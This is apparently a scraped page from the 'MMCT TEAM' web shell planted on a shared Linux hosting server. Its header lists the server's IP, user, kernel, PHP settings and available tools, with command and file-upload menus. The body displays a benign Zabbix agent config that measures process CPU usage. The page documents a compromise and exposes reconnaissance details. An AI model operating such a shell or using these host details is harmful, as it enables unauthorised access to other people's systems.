MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 18.190.219.146
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /etc/zabbix/zabbix_agentd.d/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //etc/zabbix/zabbix_agentd.d/userparameter_hgcpu.conf
UserParameter=eig.cpuperc[*],/bin/ps h -C \$1 -o %cpu | awk '{ SUM += $$1} END {print SUM}'
UserParameter=eig.cputime[*],/bin/ps h -C \$1 -o time | awk '{ split($$1, A, ":"); split(A[1], B, "-"); $$2=A[3] + (A[2]*60) + (B[2]*3600)+(B[1]*3600*24) } 1' | awk '{ SUM += $$2} END {print SUM}'

MMCT - 2023